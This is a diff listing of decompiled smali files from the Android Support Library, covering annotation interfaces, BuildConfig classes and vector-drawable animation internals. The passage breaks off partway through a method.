const-string v1, "SUBCLASSES"
invoke-direct {v0, v1, v4}, Landroid/support/annotation/RestrictTo$Scope;-><init>(Ljava/lang/String;I)V
sput-object v0, Landroid/support/annotation/RestrictTo$Scope;->SUBCLASSES:Landroid/support/annotation/RestrictTo$Scope;
.line 58
const/4 v0, 0x3
new-array v0, v0, [Landroid/support/annotation/RestrictTo$Scope;
sget-object v1, Landroid/support/annotation/RestrictTo$Scope;->GROUP_ID:Landroid/support/annotation/RestrictTo$Scope;
aput-object v1, v0, v2
sget-object v1, Landroid/support/annotation/RestrictTo$Scope;->TESTS:Landroid/support/annotation/RestrictTo$Scope;
aput-object v1, v0, v3
sget-object v1, Landroid/support/annotation/RestrictTo$Scope;->SUBCLASSES:Landroid/support/annotation/RestrictTo$Scope;
aput-object v1, v0, v4
sput-object v0, Landroid/support/annotation/RestrictTo$Scope;->$VALUES:[Landroid/support/annotation/RestrictTo$Scope;
return-void
.end method
.method private constructor <init>(Ljava/lang/String;I)V
.locals 0
.annotation system Ldalvik/annotation/Signature;
value = {
"()V"
}
.end annotation
.prologue
.line 58
invoke-direct {p0, p1, p2}, Ljava/lang/Enum;-><init>(Ljava/lang/String;I)V
return-void
.end method
.method public static valueOf(Ljava/lang/String;)Landroid/support/annotation/RestrictTo$Scope;
.locals 1
.param p0, "name" # Ljava/lang/String;
.prologue
.line 58
const-class v0, Landroid/support/annotation/RestrictTo$Scope;
invoke-static {v0, p0}, Ljava/lang/Enum;->valueOf(Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Enum;
move-result-object v0
check-cast v0, Landroid/support/annotation/RestrictTo$Scope;
return-object v0
.end method
.method public static values()[Landroid/support/annotation/RestrictTo$Scope;
.locals 1
.prologue
.line 58
sget-object v0, Landroid/support/annotation/RestrictTo$Scope;->$VALUES:[Landroid/support/annotation/RestrictTo$Scope;
invoke-virtual {v0}, [Landroid/support/annotation/RestrictTo$Scope;->clone()Ljava/lang/Object;
move-result-object v0
check-cast v0, [Landroid/support/annotation/RestrictTo$Scope;
return-object v0
.end method

Wyświetl plik

@ -0,0 +1,34 @@
.class public interface abstract annotation Landroid/support/annotation/RestrictTo;
.super Ljava/lang/Object;
.source "RestrictTo.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/MemberClasses;
value = {
Landroid/support/annotation/RestrictTo$Scope;
}
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PACKAGE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract value()[Landroid/support/annotation/RestrictTo$Scope;
.end method

Wyświetl plik

@ -0,0 +1,45 @@
.class public interface abstract annotation Landroid/support/annotation/Size;
.super Ljava/lang/Object;
.source "Size.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/Size;
max = 0x7fffffffffffffffL
min = -0x8000000000000000L
multiple = 0x1L
value = -0x1L
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract max()J
.end method
.method public abstract min()J
.end method
.method public abstract multiple()J
.end method
.method public abstract value()J
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public interface abstract annotation Landroid/support/annotation/StringDef;
.super Ljava/lang/Object;
.source "StringDef.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/StringDef;
value = {}
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->SOURCE:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->ANNOTATION_TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation
# virtual methods
.method public abstract value()[Ljava/lang/String;
.end method

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/StringRes;
.super Ljava/lang/Object;
.source "StringRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/StyleRes;
.super Ljava/lang/Object;
.source "StyleRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/StyleableRes;
.super Ljava/lang/Object;
.source "StyleableRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/TransitionRes;
.super Ljava/lang/Object;
.source "TransitionRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->SOURCE:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/UiThread;
.super Ljava/lang/Object;
.source "UiThread.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,33 @@
.class public interface abstract annotation Landroid/support/annotation/VisibleForTesting;
.super Ljava/lang/Object;
.source "VisibleForTesting.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation system Ldalvik/annotation/AnnotationDefault;
value = .subannotation Landroid/support/annotation/VisibleForTesting;
otherwise = 0x2
.end subannotation
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
# static fields
.field public static final NONE:I = 0x5
.field public static final PACKAGE_PRIVATE:I = 0x3
.field public static final PRIVATE:I = 0x2
.field public static final PROTECTED:I = 0x4
# virtual methods
.method public abstract otherwise()I
.end method

Wyświetl plik

@ -0,0 +1,23 @@
.class public interface abstract annotation Landroid/support/annotation/WorkerThread;
.super Ljava/lang/Object;
.source "WorkerThread.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->CONSTRUCTOR:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->TYPE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,24 @@
.class public interface abstract annotation Landroid/support/annotation/XmlRes;
.super Ljava/lang/Object;
.source "XmlRes.java"
# interfaces
.implements Ljava/lang/annotation/Annotation;
# annotations
.annotation runtime Ljava/lang/annotation/Documented;
.end annotation
.annotation runtime Ljava/lang/annotation/Retention;
value = .enum Ljava/lang/annotation/RetentionPolicy;->CLASS:Ljava/lang/annotation/RetentionPolicy;
.end annotation
.annotation runtime Ljava/lang/annotation/Target;
value = {
.enum Ljava/lang/annotation/ElementType;->METHOD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->PARAMETER:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->FIELD:Ljava/lang/annotation/ElementType;,
.enum Ljava/lang/annotation/ElementType;->LOCAL_VARIABLE:Ljava/lang/annotation/ElementType;
}
.end annotation

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/compat/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.compat"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/coreui/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.coreui"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/coreutils/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.coreutils"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,29 @@
.class public final Landroid/support/fragment/BuildConfig;
.super Ljava/lang/Object;
.source "BuildConfig.java"
# static fields
.field public static final APPLICATION_ID:Ljava/lang/String; = "android.support.fragment"
.field public static final BUILD_TYPE:Ljava/lang/String; = "release"
.field public static final DEBUG:Z = false
.field public static final FLAVOR:Ljava/lang/String; = ""
.field public static final VERSION_CODE:I = -0x1
.field public static final VERSION_NAME:Ljava/lang/String; = ""
# direct methods
.method public constructor <init>()V
.locals 0
.prologue
.line 6
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,221 @@
.class Landroid/support/graphics/drawable/AndroidResources;
.super Ljava/lang/Object;
.source "AndroidResources.java"
# static fields
.field static final styleable_AnimatedVectorDrawable:[I
.field static final styleable_AnimatedVectorDrawableTarget:[I
.field static final styleable_AnimatedVectorDrawableTarget_animation:I = 0x1
.field static final styleable_AnimatedVectorDrawableTarget_name:I = 0x0
.field static final styleable_AnimatedVectorDrawable_drawable:I = 0x0
.field static final styleable_VectorDrawableClipPath:[I
.field static final styleable_VectorDrawableClipPath_name:I = 0x0
.field static final styleable_VectorDrawableClipPath_pathData:I = 0x1
.field static final styleable_VectorDrawableGroup:[I
.field static final styleable_VectorDrawableGroup_name:I = 0x0
.field static final styleable_VectorDrawableGroup_pivotX:I = 0x1
.field static final styleable_VectorDrawableGroup_pivotY:I = 0x2
.field static final styleable_VectorDrawableGroup_rotation:I = 0x5
.field static final styleable_VectorDrawableGroup_scaleX:I = 0x3
.field static final styleable_VectorDrawableGroup_scaleY:I = 0x4
.field static final styleable_VectorDrawableGroup_translateX:I = 0x6
.field static final styleable_VectorDrawableGroup_translateY:I = 0x7
.field static final styleable_VectorDrawablePath:[I
.field static final styleable_VectorDrawablePath_fillAlpha:I = 0xc
.field static final styleable_VectorDrawablePath_fillColor:I = 0x1
.field static final styleable_VectorDrawablePath_name:I = 0x0
.field static final styleable_VectorDrawablePath_pathData:I = 0x2
.field static final styleable_VectorDrawablePath_strokeAlpha:I = 0xb
.field static final styleable_VectorDrawablePath_strokeColor:I = 0x3
.field static final styleable_VectorDrawablePath_strokeLineCap:I = 0x8
.field static final styleable_VectorDrawablePath_strokeLineJoin:I = 0x9
.field static final styleable_VectorDrawablePath_strokeMiterLimit:I = 0xa
.field static final styleable_VectorDrawablePath_strokeWidth:I = 0x4
.field static final styleable_VectorDrawablePath_trimPathEnd:I = 0x6
.field static final styleable_VectorDrawablePath_trimPathOffset:I = 0x7
.field static final styleable_VectorDrawablePath_trimPathStart:I = 0x5
.field static final styleable_VectorDrawableTypeArray:[I
.field static final styleable_VectorDrawable_alpha:I = 0x4
.field static final styleable_VectorDrawable_autoMirrored:I = 0x5
.field static final styleable_VectorDrawable_height:I = 0x2
.field static final styleable_VectorDrawable_name:I = 0x0
.field static final styleable_VectorDrawable_tint:I = 0x1
.field static final styleable_VectorDrawable_tintMode:I = 0x6
.field static final styleable_VectorDrawable_viewportHeight:I = 0x8
.field static final styleable_VectorDrawable_viewportWidth:I = 0x7
.field static final styleable_VectorDrawable_width:I = 0x3
# direct methods
.method static constructor <clinit>()V
.locals 4
.prologue
const/4 v3, 0x2
.line 20
const/16 v0, 0x9
new-array v0, v0, [I
fill-array-data v0, :array_0
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawableTypeArray:[I
.line 34
const/16 v0, 0x8
new-array v0, v0, [I
fill-array-data v0, :array_1
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawableGroup:[I
.line 47
const/16 v0, 0xd
new-array v0, v0, [I
fill-array-data v0, :array_2
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawablePath:[I
.line 67
new-array v0, v3, [I
fill-array-data v0, :array_3
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_VectorDrawableClipPath:[I
.line 73
const/4 v0, 0x1
new-array v0, v0, [I
const/4 v1, 0x0
const v2, 0x1010199
aput v2, v0, v1
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_AnimatedVectorDrawable:[I
.line 77
new-array v0, v3, [I
fill-array-data v0, :array_4
sput-object v0, Landroid/support/graphics/drawable/AndroidResources;->styleable_AnimatedVectorDrawableTarget:[I
return-void
.line 20
:array_0
.array-data 4
0x1010003
0x1010121
0x1010155
0x1010159
0x101031f
0x10103ea
0x10103fb
0x1010402
0x1010403
.end array-data
.line 34
:array_1
.array-data 4
0x1010003
0x10101b5
0x10101b6
0x1010324
0x1010325
0x1010326
0x101045a
0x101045b
.end array-data
.line 47
:array_2
.array-data 4
0x1010003
0x1010404
0x1010405
0x1010406
0x1010407
0x1010408
0x1010409
0x101040a
0x101040b
0x101040c
0x101040d
0x10104cb
0x10104cc
.end array-data
.line 67
:array_3
.array-data 4
0x1010003
0x1010405
.end array-data
.line 77
:array_4
.array-data 4
0x1010003
0x10101cd
.end array-data
.end method
.method constructor <init>()V
.locals 0
.prologue
.line 17
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method

Wyświetl plik

@ -0,0 +1,83 @@
.class Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$1;
.super Ljava/lang/Object;
.source "AnimatedVectorDrawableCompat.java"
# interfaces
.implements Landroid/graphics/drawable/Drawable$Callback;
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0x0
name = null
.end annotation
# instance fields
.field final synthetic this$0:Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
# direct methods
.method constructor <init>(Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;)V
.locals 0
.param p1, "this$0" # Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
.prologue
.line 657
iput-object p1, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$1;->this$0:Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-direct {p0}, Ljava/lang/Object;-><init>()V
return-void
.end method
# virtual methods
.method public invalidateDrawable(Landroid/graphics/drawable/Drawable;)V
.locals 1
.param p1, "who" # Landroid/graphics/drawable/Drawable;
.prologue
.line 660
iget-object v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$1;->this$0:Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-virtual {v0}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->invalidateSelf()V
.line 661
return-void
.end method
.method public scheduleDrawable(Landroid/graphics/drawable/Drawable;Ljava/lang/Runnable;J)V
.locals 1
.param p1, "who" # Landroid/graphics/drawable/Drawable;
.param p2, "what" # Ljava/lang/Runnable;
.param p3, "when" # J
.prologue
.line 665
iget-object v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$1;->this$0:Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-virtual {v0, p2, p3, p4}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->scheduleSelf(Ljava/lang/Runnable;J)V
.line 666
return-void
.end method
.method public unscheduleDrawable(Landroid/graphics/drawable/Drawable;Ljava/lang/Runnable;)V
.locals 1
.param p1, "who" # Landroid/graphics/drawable/Drawable;
.param p2, "what" # Ljava/lang/Runnable;
.prologue
.line 670
iget-object v0, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$1;->this$0:Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
invoke-virtual {v0, p2}, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;->unscheduleSelf(Ljava/lang/Runnable;)V
.line 671
return-void
.end method

Wyświetl plik

@ -0,0 +1,278 @@
.class Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;
.super Landroid/graphics/drawable/Drawable$ConstantState;
.source "AnimatedVectorDrawableCompat.java"
# annotations
.annotation system Ldalvik/annotation/EnclosingClass;
value = Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat;
.end annotation
.annotation system Ldalvik/annotation/InnerClass;
accessFlags = 0xa
name = "AnimatedVectorDrawableCompatState"
.end annotation
# instance fields
.field mAnimators:Ljava/util/ArrayList;
.annotation system Ldalvik/annotation/Signature;
value = {
"Ljava/util/ArrayList",
"<",
"Landroid/animation/Animator;",
">;"
}
.end annotation
.end field
.field mChangingConfigurations:I
.field mTargetNameMap:Landroid/support/v4/util/ArrayMap;
.annotation system Ldalvik/annotation/Signature;
value = {
"Landroid/support/v4/util/ArrayMap",
"<",
"Landroid/animation/Animator;",
"Ljava/lang/String;",
">;"
}
.end annotation
.end field
.field mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
# direct methods
.method public constructor <init>(Landroid/content/Context;Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;Landroid/graphics/drawable/Drawable$Callback;Landroid/content/res/Resources;)V
.locals 9
.param p1, "context" # Landroid/content/Context;
.param p2, "copy" # Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;
.param p3, "owner" # Landroid/graphics/drawable/Drawable$Callback;
.param p4, "res" # Landroid/content/res/Resources;
.prologue
.line 501
invoke-direct {p0}, Landroid/graphics/drawable/Drawable$ConstantState;-><init>()V
.line 502
if-eqz p2, :cond_2
.line 503
iget v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mChangingConfigurations:I
iput v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mChangingConfigurations:I
.line 504
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
if-eqz v7, :cond_0
.line 505
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-virtual {v7}, Landroid/support/graphics/drawable/VectorDrawableCompat;->getConstantState()Landroid/graphics/drawable/Drawable$ConstantState;
move-result-object v2
.line 506
.local v2, "cs":Landroid/graphics/drawable/Drawable$ConstantState;
if-eqz p4, :cond_1
.line 507
invoke-virtual {v2, p4}, Landroid/graphics/drawable/Drawable$ConstantState;->newDrawable(Landroid/content/res/Resources;)Landroid/graphics/drawable/Drawable;
move-result-object v7
check-cast v7, Landroid/support/graphics/drawable/VectorDrawableCompat;
iput-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
.line 511
:goto_0
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-virtual {v7}, Landroid/support/graphics/drawable/VectorDrawableCompat;->mutate()Landroid/graphics/drawable/Drawable;
move-result-object v7
check-cast v7, Landroid/support/graphics/drawable/VectorDrawableCompat;
iput-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
.line 512
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-virtual {v7, p3}, Landroid/support/graphics/drawable/VectorDrawableCompat;->setCallback(Landroid/graphics/drawable/Drawable$Callback;)V
.line 513
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
iget-object v8, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-virtual {v8}, Landroid/support/graphics/drawable/VectorDrawableCompat;->getBounds()Landroid/graphics/Rect;
move-result-object v8
invoke-virtual {v7, v8}, Landroid/support/graphics/drawable/VectorDrawableCompat;->setBounds(Landroid/graphics/Rect;)V
.line 514
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
const/4 v8, 0x0
invoke-virtual {v7, v8}, Landroid/support/graphics/drawable/VectorDrawableCompat;->setAllowCaching(Z)V
.line 516
.end local v2 # "cs":Landroid/graphics/drawable/Drawable$ConstantState;
:cond_0
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mAnimators:Ljava/util/ArrayList;
if-eqz v7, :cond_2
.line 517
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mAnimators:Ljava/util/ArrayList;
invoke-virtual {v7}, Ljava/util/ArrayList;->size()I
move-result v4
.line 518
.local v4, "numAnimators":I
new-instance v7, Ljava/util/ArrayList;
invoke-direct {v7, v4}, Ljava/util/ArrayList;-><init>(I)V
iput-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mAnimators:Ljava/util/ArrayList;
.line 519
new-instance v7, Landroid/support/v4/util/ArrayMap;
invoke-direct {v7, v4}, Landroid/support/v4/util/ArrayMap;-><init>(I)V
iput-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mTargetNameMap:Landroid/support/v4/util/ArrayMap;
.line 520
const/4 v3, 0x0
.local v3, "i":I
:goto_1
if-ge v3, v4, :cond_2
.line 521
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mAnimators:Ljava/util/ArrayList;
invoke-virtual {v7, v3}, Ljava/util/ArrayList;->get(I)Ljava/lang/Object;
move-result-object v0
check-cast v0, Landroid/animation/Animator;
.line 522
.local v0, "anim":Landroid/animation/Animator;
invoke-virtual {v0}, Landroid/animation/Animator;->clone()Landroid/animation/Animator;
move-result-object v1
.line 523
.local v1, "animClone":Landroid/animation/Animator;
iget-object v7, p2, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mTargetNameMap:Landroid/support/v4/util/ArrayMap;
invoke-virtual {v7, v0}, Landroid/support/v4/util/ArrayMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
move-result-object v5
check-cast v5, Ljava/lang/String;
.line 524
.local v5, "targetName":Ljava/lang/String;
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mVectorDrawable:Landroid/support/graphics/drawable/VectorDrawableCompat;
invoke-virtual {v7, v5}, Landroid/support/graphics/drawable/VectorDrawableCompat;->getTargetByName(Ljava/lang/String;)Ljava/lang/Object;
move-result-object v6
.line 525
.local v6, "targetObject":Ljava/lang/Object;
invoke-virtual {v1, v6}, Landroid/animation/Animator;->setTarget(Ljava/lang/Object;)V
.line 526
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mAnimators:Ljava/util/ArrayList;
invoke-virtual {v7, v1}, Ljava/util/ArrayList;->add(Ljava/lang/Object;)Z
.line 527
iget-object v7, p0, Landroid/support/graphics/drawable/AnimatedVectorDrawableCompat$AnimatedVectorDrawableCompatState;->mTargetNameMap:Landroid/support/v4/util/ArrayMap;
